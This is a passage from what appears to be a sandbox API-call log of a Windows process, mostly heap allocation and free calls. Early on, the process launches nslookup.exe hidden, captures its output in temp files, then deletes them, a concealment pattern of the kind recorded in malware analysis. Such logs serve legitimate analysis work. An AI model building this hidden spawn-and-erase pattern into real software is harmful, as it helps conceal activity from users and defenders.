pbBuffer=0x53f5c8) returned 1 [0052.614] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.614] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0052.614] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0052.615] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0052.615] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.615] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0052.615] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0052.616] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.616] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0052.616] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0052.616] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0052.616] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="4N", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\4NCCBB.tmp" (normalized: "c:\\windows\\temp\\4nccbb.tmp")) returned 0xccbb [0052.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0052.617] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2214900 [0052.617] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\4NCCBB.tmp", lpszShortPath=0x2214900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\4NCCBB.tmp") returned 0x1a [0052.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0052.617] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0052.617] CreateFileW (lpFileName="C:\\Windows\\TEMP\\fYCCAB.tmp" (normalized: "c:\\windows\\temp\\fyccab.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0052.617] CreateFileW (lpFileName="C:\\Windows\\TEMP\\4NCCBB.tmp" (normalized: "c:\\windows\\temp\\4nccbb.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0052.618] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x53f6a4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x14c, hStdError=0x148), lpProcessInformation=0x53f670 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255", lpProcessInformation=0x53f670*(hProcess=0x144, hThread=0x150, dwProcessId=0xba8, dwThreadId=0xbac)) returned 1 [0052.625] NtClose (Handle=0x150) returned 0x0 [0052.625] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xea60) returned 0x0 [0053.391] NtClose (Handle=0x14c) returned 0x0 [0053.392] NtClose (Handle=0x148) returned 0x0 [0053.392] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0053.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\fYCCAB.tmp" (normalized: "c:\\windows\\temp\\fyccab.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5bc | out: lpFileInformation=0x53f5bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34513310, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x34513310, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x34c837d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x113)) returned 1 [0053.392] CreateFileW (lpFileName="C:\\Windows\\TEMP\\fYCCAB.tmp" (normalized: "c:\\windows\\temp\\fyccab.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0053.392] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x53f600, lpLastWriteTime=0x53f600) returned 0 [0053.393] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x53f5ec | out: lpFileSizeHigh=0x53f5ec*=0x0) returned 0x113 [0053.393] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x53f5f8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x53f5f8*=0) returned 0x0 [0053.393] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x140) returned 0x2219e98 [0053.393] ReadFile (in: hFile=0x148, lpBuffer=0x2219e98, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x53f62c, lpOverlapped=0x0 | out: lpBuffer=0x2219e98*, lpNumberOfBytesRead=0x53f62c*=0x113, lpOverlapped=0x0) returned 1 [0053.393] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x140) returned 0x22129e0 [0053.393] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e98) returned 1 [0053.393] NtClose (Handle=0x148) returned 0x0 [0053.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\fYCCAB.tmp" (normalized: "c:\\windows\\temp\\fyccab.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34513310, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x34513310, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x34c837d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x113)) returned 1 [0053.393] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\fYCCAB.tmp", dwFileAttributes=0x80) returned 1 [0053.393] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\fYCCAB.tmp" (normalized: "c:\\windows\\temp\\fyccab.tmp")) returned 1 [0053.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\4NCCBB.tmp" (normalized: "c:\\windows\\temp\\4nccbb.tmp"), fInfoLevelId=0x0, lpFileInformation=0x53f5fc | out: lpFileInformation=0x53f5fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34539470, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x34539470, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x34c837d0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x67)) returned 1 [0053.394] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\4NCCBB.tmp", dwFileAttributes=0x80) returned 1 [0053.394] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\4NCCBB.tmp" (normalized: "c:\\windows\\temp\\4nccbb.tmp")) returned 1 [0053.395] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x140) returned 0x2219e98 [0053.395] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22129e0) returned 1 [0053.395] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0053.395] NtClose (Handle=0x144) returned 0x0 [0053.395] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2214900) returned 1 [0053.395] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22144f8) returned 1 [0053.395] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x140) returned 0x22129e0 [0053.395] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22129e0) returned 1 [0053.395] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e98) returned 1 [0053.395] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.395] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d660 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d388 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d398 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219840 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a38 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d358 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219be8 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90ffc0 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d660) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3b8 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c30 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3c8 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c78 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3d8 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d468 [0053.396] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0053.396] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90bc08 [0053.397] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ffc0) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4c8 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0053.397] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4b8 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0053.397] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3f8 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b10 [0053.397] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d378 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90dd90 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d368 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ac8 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d478 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c9d8 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d488 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212d08 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d5a8 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212d50 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d598 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212d98 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d348 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212de0 [0053.397] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d308 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212e28 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2f8 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212e70 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3e8 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212eb8 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4d8 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212f00 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d518 [0053.398] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212f48 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d388) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d398) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a38) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219be8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d358) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c30) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3b8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219c78) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3c8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3d8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d468) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e28) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4c8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4b8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b10) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3f8) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219b58) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d378) returned 1 [0053.398] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bc08) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d98) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219a80) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d578) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ba0) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3a8) returned 1 [0053.399] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d648) returned 1 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90bc08 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3a8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219ba0 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d578 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219a80 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d318 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219960 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d328 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d378 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b58 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3f8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219b10 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4b8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22199a8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4c8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d468 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3d8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3c8 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c78 [0053.399] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3b8 [0053.400] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219c30 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219ac8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d368) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c9d8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d478) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212d08) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d488) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212d50) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5a8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212d98) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d598) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212de0) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212e28) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d308) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212e70) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2f8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212eb8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3e8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212f00) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4d8) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212f48) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d518) returned 1 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dd90) returned 1 [0053.400] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.400] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.400] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.400] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0053.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22197b0, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0053.401] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0053.401] MultiByteToWideChar (in: CodePage=0x0, 